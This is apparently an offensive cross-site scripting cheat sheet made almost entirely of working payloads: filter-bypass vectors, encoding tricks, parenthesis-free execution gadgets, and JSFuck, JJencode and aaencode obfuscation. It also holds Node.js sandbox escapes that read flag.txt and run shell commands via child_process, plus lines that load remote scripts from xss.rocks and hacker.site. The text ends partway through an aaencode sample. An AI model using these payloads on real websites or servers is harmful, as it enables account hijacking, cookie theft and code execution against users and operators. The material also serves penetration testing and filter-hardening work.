XSS (Cross Site Scripting)

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

//HTML entities
'-alert(1)-'
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

<a target="_blank" rel="opener"

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

<input type="hidden" accesskey="X" onclick="alert(1)">

</script><img src=1 onerror=alert(document.domain)>

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`

// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

<TAB>
/**/

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

"><svg/onload=confirm(1)>"@x.y

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

{" onfocus=javascript:alert('xss') autofocus a"=>"a"}

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

<script type="???"></script>

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>

//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

//aaencode
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ 